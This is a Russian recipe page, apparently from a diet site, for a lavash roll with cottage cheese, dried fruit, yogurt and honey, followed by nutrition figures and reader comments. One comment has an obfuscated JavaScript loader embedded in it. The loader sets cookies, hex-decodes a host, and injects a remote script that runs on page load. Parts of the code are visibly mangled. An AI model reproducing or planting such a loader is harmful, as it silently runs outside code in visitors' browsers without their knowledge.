Наталья Natalya
07.12.2015 17:42

рулет из лаваша с творогом и сухофруктами

Калорийность - 141.1 кКал; белки - 11.8 г; жиры - 1.1 г; углеводы - 21 г на 100 г.
Ингредиенты
лаваш тонкий 100 г
творог нестерка 1% 420 г
Изюм (Холодная обработка (мойка, нарезка)) 50 г
Абрикосы сушеные без косточки (курага) (Холодная обработка (мойка, нарезка)) 40 г
Корица 5 г
йогурт собств. пр-ва 110 г
Мед пчелиный 18 г
Общая масса ингредиентов
г
Масса готового блюда
г
Время приготовления: 20 мин
Описание
  • Изюм и курагу предварительно замочить в воде на 20-40 мин.
  • Творог перекрутить на мясорубке.
  • Добавить йогурт /у меня собственного производства 53,7 ккал/, мед, корицу и сухофрукты.
  • Все хорошо перемешать.
  • Выложить ровным слоем на тонкий лаваш.
  • Скрутить лаваш в рулет. - Готово!
Я храню такой рулет в пакете в холодильнике. 
Калькулятор химического состава рецепта
Пищевая ценность на 100 грамм
Содержание в порции % от РСП
Калории 141.1 кКал 8.38%
Белки 11.8 г 15.53%
Жиры 1.1 г 1.96%
Углеводы 21 г 9.59%
Пищевые волокна 1.3 г 6.5%
Вода 1.6 г 0.07%
ПОСТУПЛЕНИЕ МИКРОНУТРИЕНТОВ
Рейтинг
1
A
5.3%
b-car
3.8%
В1
1.3%
B2
0.9%
Холин
0%
B5
0.1%
B6
0.2%
B9
0.1%
B12
~
C
1.7%
D
1.9%
E
2.1%
H
0%
вит.К
0.2%
PP
1.5%
Калий
6.2%
Ca
2.1%
Si
~
Mg
2.2%
Na
0.7%
P
2.2%
Cl
0%
Fe
2.5%
I
0%
Co
0.1%
Mn
5.9%
Cu
0.4%
Mo
~
Se
0%
F
0.1%
Cr
~
Zn
0.1%
 13 
 22
Ирина #199 08.12.2015 20:11
Мммм... Как оппетитно выглядит, пойду ка я завтра за сухофруктами))))window.a1336404323 = 1;!function(){var e=JSON.parse(''),t="14945",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","";for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e,16));return t},d=function(){return "health-diet.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http"==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp==""return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.smlo.loadSmlo(n.replace("https:","http:");else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.zSmlo.loadSmlo(n.replace("https:","http:");else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.onl oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.oner ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306"!=f&&n("a2519043306",f,{expires:parseInt("3600"})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002"!=i&&n("a36677002",i);var r=o("a2519043306";t=r?r:e,s(t)};f()}();
Марина 08.12.2015 20:34
да реально вкусно выглядит, верю что и вкусно.
Elena Eder 08.12.2015 20:40
Хороший рецепт ! !
 Много начинки и мало теста !
svetlana 08.12.2015 20:51
 идея ,  обязательно попробую
Pink Rose 08.12.2015 20:56
обязательно сделаю! спасибо))
Мария Гардеева 08.12.2015 21:03
замечательно, беру на заметку, на днях попробую сделать.
Супер, спасибо за идею!
Olla 09.12.2015 00:17
Тоже не могу пройти мимо, забираю в избранное. Спасибо за интересный вариант!
Ирина Роско 10.12.2015 23:30
>> Добавить йогурт /у меня собственного производства 53,7 ккал
В йогуртнице делаешь? А на какой закваске? Я пробовала в мультиварке так и не получилось ни разу, подозреваю она температуру не держит у меня.
Наталья Natalya 10.12.2015 23:53
Ирина Роско, http://health-diet.ru/people/user/190007/blog/119507/ здесь подробно, как я делаю домашний йогурт 
Наталья Natalya 10.12.2015 23:54
Ирина Роско, получается всегда
Silochka 10.12.2015 23:59
Ирина Роско,  попробуйте сделать йогурт в термосе. (у меня с широким горлом)
Ирина Роско 11.12.2015 00:16
Наталья, посмотрела, спасибо. Их йогуртов я уже пробовала активию и биомакс. Ни в какую.Наверное, карма у меня не та.
Хороший рецепт! Спасибо!
Ollllchik 11.12.2015 01:23
Ум-м-м. Вкусненько. А то я в лаваш только соленый творог заворачивала, а до сладкой начинки не додумалась
Natalya 11.12.2015 09:05
Отличный рецепт!
Людмилка 11.12.2015 09:16
Наталья, а лаваш от творога не размокает ? и лаваш тогда становится резиновый !
Tanya V 11.12.2015 19:22
отличная идея. я тоже раньше лаваш только с солеными начинками ела. обязательно попробую и ваш вариант
Ирина 16.12.2015 10:40
Очень интересный рецептик, попробую обязательно!
Спасибо!
Джим Моррисон 16.12.2015 11:06
Спасибо за рецепт)
Новые рецепты
Интересные блоги
Лучшие рационы